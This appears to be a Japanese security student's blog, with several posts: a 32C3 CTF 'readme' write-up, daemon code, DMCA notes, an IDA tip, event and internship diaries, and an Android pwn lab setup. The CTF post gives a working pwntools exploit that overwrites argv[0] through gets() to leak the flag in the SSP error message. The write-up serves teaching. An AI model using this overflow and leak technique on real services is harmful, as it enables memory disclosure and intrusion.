SSPのエラーメッセージからのinformation leak

SSPのエラーメッセージとは

SSP(stack-smashing protection)とはスタック上にcanaryと呼ばれる値を配置し、それが書き換えられたか否かでstack overflowしたかどうかを判定するセキュリティ機構である。

stack overflowが起こるコードを実行してみる。

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[10] = {};
    strcpy(buf, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
    puts(buf);
    return 0;
}

エラーメッセージが出力された。

$ ./bof
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./bof terminated
中止 (コアダンプ)

./bof というファイル名がエラーメッセージに含まれている。このファイル名はargv[0]としてバイナリに含まれていて、これを書き換えることで任意のデータを出力できる。

32C3 CTF readme

例として、このテクニックを必要とする、32C3 CTFで出されたreadmeという問題を解く。

実行してみる

2回目の入力でflagを書き換えるようだ。

$ ./readme.bin 
Hello!
What's your name? aaaa
Nice to meet you, aaaa.
Please overwrite the flag: bbbb
Thank you, bye!

解析

SSP有効なstripped 64bit バイナリ。

$ file readme.bin 
readme.bin: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped

$ checksec.sh --file readme.bin
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   readme.bin

gets()が使われていてstack overflowさせることができ、あとの方でflagがあるアドレス(0x600d20)をmemsetで書き換えている。

00000000004007e1         mov        esi, 0x400934        ; "Hello!\\nWhat's your name? "
00000000004007e6         mov        edi, 0x1
00000000004007eb         push       rbx
00000000004007ec         sub        rsp, 0x118
00000000004007f3         mov        rax, qword [fs:0x28]
00000000004007fc         mov        qword [ss:rsp+0x108], rax
0000000000400804         xor        eax, eax
0000000000400806         call       j___printf_chk
000000000040080b         mov        rdi, rsp
000000000040080e         call       j__IO_gets // overflow
0000000000400813         test       rax, rax
0000000000400816         je         0x40089f
...
0000000000400868         xor        esi, esi             ; argument "c" for method j_memset
000000000040086a         sub        edx, ebx             ; argument "len" for method j_memset
000000000040086c         add        rdi, 0x600d20        ; "32C3_TheServerHasTheFlagHere...", argument "b" for method j_memset
0000000000400873         call       j_memset  // flag overwrite

memsetで書き換えられる場所以外にもflagが格納されている場所があった。

gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 5 results, display max 5 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...") // will overwrite by memset

argv[0]からflagが格納されている場所へのoffsetは0x218。

gdb-peda$ telescope
0000| 0x7fffffffdd20 --> 0x1
0008| 0x7fffffffdd28 --> 0x7fffffffe0e4 ("/mnt/hgfs/code/pwn_collection/32C3ctf/readme-200/readme.bin")
0016| 0x7fffffffdd30 --> 0x0
0024| 0x7fffffffdd38 --> 0x7fffffffe120 ("LC_PAPER=en_US.UTF-8")
0032| 0x7fffffffdd40 --> 0x7fffffffe135 ("XDG_VTNR=7")
0040| 0x7fffffffdd48 --> 0x7fffffffe140 ("XDG_SESSION_ID=c2")
0048| 0x7fffffffdd50 --> 0x7fffffffe152 ("LC_ADDRESS=en_US.UTF-8")
0056| 0x7fffffffdd58 --> 0x7fffffffe169 ("CLUTTER_IM_MODULE=xim")

gdb-peda$ print  0x7fffffffdd28 - 0x7fffffffdb10
$2 = 0x218

exploit

stack overflowさせてargv[0]を書き換える。エラーメッセージはサーバー上の端末に出力されてしまうが、環境変数LIBC_FATAL_STDERR_=1と指定しておくと標準エラー出力に出力され、ネットワーク越しに見えるようになる。flagを書き換える2回目の入力を利用して環境変数を設定する。

#!/usr/bin/env python2.7
# coding: UTF-8

from pwn import *

p = process('./readme.bin')

payload = 'a' * 0x218
payload += p64(0x400d20) # flag address overwrite argv[0]
payload += 'a' * 8
payload += p64(0x600d20) # input writing into env

env = 'LIBC_FATAL_STDERR_=1' # writing 0x600d20 by memset

p.sendline(payload)
p.sendline(env)
print p.recvall()

実行結果

$ python exploit.py 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/tomori/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.2.0)
[+] Starting local process './readme.bin': Done
[+] Receiving all data: Done (703B)
[*] Process './readme.bin' stopped with exit code -6
Hello!
What's your name? Nice to meet you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa @.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated

エラーメッセージのファイル名の部分をflagに書き換えることができた。

参考資料

32C3 CTF readme · うさぎ小屋

デーモンの仕組み

デーモンはバックグラウンドで動き、terminalからインタラクティブに操作されることがないプロセスである。起動時に開始し、rootユーザやapachepostfixなどの特権ユーザにより動かされる。systemdで操作するcrondとかsshdとかのことである。

デーモンは一般的に、initプロセスの子プロセスとして動く、terminalから接続されないという2つの要件を満たしている。initプロセスとはシステム起動後にカーネルが最初に実行するプロセスでこのpidは1である。

以下のようにしてデーモンは起動される。

  1. fork()を呼び、デーモンとなる新しいプロセスを作る。
  2. デーモンの親プロセスがexit()を呼んで終了する。親プロセスがすぐに死に、デーモンはプロセスグループのリーダーにならない。
  3. setsid()を呼び、デーモンに新しいプロセスグループとセッションを与え、デーモンがリーダーになるようにする。これによりプロセスを制御するterminalがないことも保証できる。
  4. chdir()でワーキングディレクトリをrootディレクトリに変更する。これはデーモンが他のディレクトリを使用中にしないようにするため、adminにワーキングディレクトリをunmountされることを避けるためである。
  5. 全てのファイルディスクリプタを閉じる。機能的に必要であればそこは開けておく。
  6. ファイルディスクリプタの0(stdin)、1(stdout)、2(stderror)を開き/dev/nullにリダイレクトする。

これらに基づき、デーモン化するコードは以下のようになる。このコードはLinuxシステムプログラミング | Robert Love, ロバート ラブ, 千住 治郎より拝借した。

#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/fs.h>

int main (void)
{
 pid_t pid;
 int i;

 /* forkして新しいプロセスを作る */
 pid = fork();
 if (pid == -1)
  return -1;
 else if (pid != 0)
  exit(EXIT_SUCCESS);

 /* 新しいセッションとプロセスグループを作る */
 if (setsid() == -1)
  return -1;

 /* ワーキングディレクトリをルートに変更 */
 if (chdir("/") == -1)
  return -1;

 /* NR_OPENを使って全てのファイルディスクリプタを閉じる */
 for (i = 0; i < NR_OPEN; i++)
  close(i);

 /* ファイルディスクリプタ 0, 1, 2を /dev/nullにリダイレクト */
 open("/dev/null", O_RDWR); /* stdin */
 dup(0); /* stdout */
 dup(0); /* stderror */

 return 0;
}

デーモンを生成する関数はglibcではdaemon()として実装されている。

DMCAに調査目的でのリバースエンジニアリングが例外に追加されそう

DMCA updated – toaster penetration testing gets green light in America • The Registerによると、アメリカの法律であるDMCA(デジタルミレニアム著作権法)の例外に、調査目的でのリバースエンジニアリング等のセキュリティテストが2年以内に追加されるようだ。具体的には以下の項目である。

  • The use of electronic literary works in conjunction with assistive technologies.
  • Jailbreaking phones and tablets to enable interoperability or remove unwanted software.
  • Efforts to access automobile software.
  • Efforts to make non-functioning video games accessible.
  • Efforts to bypass 3D printer materials controls.
  • Efforts by patients to access data in personal medical devices.
  • Attempts to reverse-engineer software for security research.

脱獄や車のシステムへのアクセス、ゲームのチート、3Dプリンタの制御のバイパス、患者による医療機器のデータへのアクセス、調査目的でのリバースエンジニアリングが製品の保護の例外になる。

日本では、著作権法47条の3 第1項に「プログラムの著作物の複製物の所有者は、自ら当該著作物を電子計算機において利用するために必要と認められる限度において、当該著作物の複製又は翻案をすることができる。」とあるものの明記はされておらず、(平成20年第7回)議事録 | 資料1|文化庁のように議論されている段階のようだ。現在の進捗はよく分からない。

IDAにカラースキーマ(.clr)を適用する

メニューバーの Options から Colors を選択すると以下の画面が出てくる。 f:id:TAKEmaru:20161029010134p:plain importボタンを押してファイルを選択すれば適用できる。

おすすめカラースキーマeugeii/ida-consonance: Consonance, a dark color scheme for IDA.

完全にやり方を忘れていたので備忘録。

CODE BLUE 2016とAV TOKYOに行った。

去年はカスペルスキー大先生の学生支援枠で参加していたCODE BLUEに学生スタッフとして参加した。今年のスタッフはスーツ着なくてよくなっていたり、スタッフ数が倍になっていたりで、去年のスタッフのみなさんに比べてかなり楽になっていたらしい。有名なエンジニアの方がすぐ近くを歩いていたりしていて、異常な環境だった。

f:id:TAKEmaru:20161023191722j:plain

2日目の日中は業務なかったのでコンテストに行ったところチームメンバーに恵まれて2位になった。F.TRON社のINTΦ(INT ZERO)はセキュアでつよくてめっちゃ面白いのでソースを見てみたい。めっちゃつよくてヒントが出るまではルールの穴を突くくらいしかなかった。

AV TOKYOの開始4時間前がチェックアウトだったので、せっかくだしAV TOKYOも行った。 CODE BLUEで聞いたHouse of Einherjarの話をもう一回聞けてよかったし、バグハンターの話とかil2cppの話も面白かった。ああいうクラブ?みたいな環境で話を聞くのは新鮮で面白かった。

f:id:TAKEmaru:20161022143251j:plain なぜか天井にディスプレイがあった。

精進します。

サイバーエージェントの長期インターンに行ってきた

8/16から9/21までサイバーエージェントの長期インターンに行っていたので感想を書く。

インターン以外でも最高の夏🍉は過ごせる!!

f:id:TAKEmaru:20160922111330j:plain

面接

インフラかサーバサイドやりたいけど、インフラは自信ないとか言ってたら、「OpenStackって知ってる?」って聞かれて「名前しか知らないです」って言ったのでサーバーサイドの方面で選考が進むことになった。 某コンテンツ系サービスのバックエンド見たかったけど、精鋭が揃っているらしく、goを業務で書いたことがないときびしいと言われたので、某メディア系のサービスの中の人とエンジニア面接して無事にメディアサービス (エンジニア対象)に採用されることになった。goのバイナリ読んだりしてたけど、あんまり書いてなかったし、しゃあない。

エンジニア面接のあとすぐ人事の方から電話がかかってきて「Androidもできたよね!?」って聞かれて、Oss Stars~Android編~ に誘われた。 全然できないんだよなーとおもいつつも「じゃあせっかくなんで行きますー」って言って Oss Stars~Android編~ の方も行くことになった。

人事の方が異常に丁寧で、エンジニア面接に入る前にどうゆうサービスに興味あるか、嫌いなサービスはなにか、使える言語はなにか、使いたくない言語はなにかとか細かに聞いてくれてマッチングをいいかんじにしてくれて、神だった。ふつーは絶対、嫌いなサービスまで聞かないと思う。

ぼくは普通に開発してただけだけど、音波解析とかDCに納入するクソ高いNICの性能評価とかをやってる人もいて、そういうことを希望しても面白かったかなーと思う。

業務

SPAなサービスだったので、95%くらいフロントを触って、5%くらいサーバーサイドを触るみたいなかんじで業務が進んだ。 前にJSをまじめに書いたときはES5にjQueryを使って書いていたので、ES7にReact、Reduxでの開発は大変だった。また、かなり特殊な構成で、慣れるのに非常に時間かかったし、そういう意味でも大変だった。序盤は人権問題に直面していたけど、メンターが異常にやさしくて助かった。感謝。業務では人権が保証される。社内で評判の構成らしく他サービスでのフロント刷新の際、参考にされるらしい。けど、React、Reduxの他に、社員の方の自作ライブラリとか、forkしてカスタムしたライブラリとか使われてて、プライベートで真似して開発するのは難しそうだと思った。

単純に文法とかライブラリのことだけじゃなくて、Atomic DesignとかIsomorphic JavaScriptとかの設計の概念とかサーバー構成の裏事情とか負荷試験のこととか教えてもらえて勉強になった。 n十万行のコードとか触ったことがなかったので、そういう意味でもいい経験になったし、多少は自信がついたので、OSSのコードとか読んでいきたい。

インターンに行ったタイミングが悪く、どでかいリリースの真っ最中で社員のみなさんはものすごく忙しそうだった。 段階的に公開(n%公開)していって、LBの負荷が異常に上がったりした段階で切り戻している姿を見たり、「このリリースが遅れたら一日当たりいくらの損失が出ますか!?」というパワーワードを聞いたりして、「これが現場か!!!!!」となった。毎日ISUCON状態。

上記のどでかいリリースの打ち上げは、タクシー🚕で店まで移動して、どでかいソファとどでかいスクリーンとどでかいスピーカーとカラオケとキッチンが配備されている個室がある店で行われた。「これがWebの力💰💴💸か!!!」となった。

業務の他にもスタジオ見学したり、セキュリティチームの人と会わせてもらえたりして勉強になった。

ネットにはこういう不穏な記事(サイバーエージェント社の内定式がリア充すぎると話題に 【画像あり】 | ニュース2ちゃんねる)もあるけど、普通にいい会社だった。というかエンジニアがあんなにチャラい訳がない。や、総合職の話はしらない。

様子

以下は様子です。

f:id:TAKEmaru:20160821201917j:plain f:id:TAKEmaru:20160905143609j:plain 休日は温泉♨を攻めた。東京は小さい銭湯でも黒湯あるし、露天風呂あるしすごい。

f:id:TAKEmaru:20160917193246j:plain はじめて九州料理食べた。写真は冷や汁

f:id:TAKEmaru:20160923063250j:plain f:id:TAKEmaru:20160917160102j:plain オシャレマクロスデルタにいったはずがCCさくら🌸のlimited storeがあって優勝した。もうOIOIにはオタクのイメージしかない。

f:id:TAKEmaru:20160920203811j:plain BABYMETALの東京ドームライブも行った。

f:id:TAKEmaru:20160922114434j:plain 帰る日にふぐ🐡食べた。神だった。とらふぐ亭 渋谷店 (とらふぐてい) - 神泉/ふぐ [食べログ]

おわりに

長期インターンでは短期インターンと違って実際の業務に組み込まれるので、非常に勉強になるのでよかった。某先輩(神)の言う通りだった。

メンターとチームのみなさまと人事のみなさまには感謝しております。この経験を今後につなげていきたいですね。

androidでpwnできる環境を作ってみる

ndk-buildにより作成したプログラムをandroid上で待ち受けさせる。arm環境でpwnするときに使える。

準備

プログラムを用意する

ソース

/* test.c */
# include <stdio.h>

int main(void) {
  printf("Hello, world!\n");
  return 0;
}

ビルドスクリプト

Application.mkを作成する。

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_MODULE    := test
LOCAL_SRC_FILES := test.c

include $(BUILD_EXECUTABLE)

ここではやっていないが、APP_CFLAGS += -fno-stack-protector を書くことでSSPを無効にできる。

ビルドする

$ ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Application.mk
$ adb push libs/arm64-v8a/test /data/local/tmp/
$ adb shell
shell@android:/data/local/tmp $ ./test
Hello, world!

socatを入れる

androidにはsocatコマンドが入っていないので、socat for android - Post #28からzipをダウンロードしてadbで入れる。

$ adb push ~/downloads/socat-2.0.0-b7-armv7-a /data/local/tmp/

やってみる

adbで端末に接続し、socatで待ち受ける。

$ adb forward tcp:10001 tcp:10001
$ adb shell
shell@android:/data/local/tmp $ cd /data/local/tmp/
shell@android:/data/local/tmp $ ./test
Hello, world!
shell@android:/data/local/tmp $ ip a
...
21: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000
    link/ether 30:5a:3a:aa:56:33 brd ff:ff:ff:ff:ff:ff
    inet 192.168.3.67/24 brd 192.168.3.255 scope global wlan0
       valid_lft forever preferred_lft forever
    inet6 fe80::325a:3aff:feaa:5633/64 scope link 
       valid_lft forever preferred_lft forever
shell@android:/data/local/tmp $ ./socat TCP4-LISTEN:10001,fork EXEC:./test

別のshellからnetcatで接続する。

$ nc 192.168.3.67 10001
Hello, world!

無事に接続できた。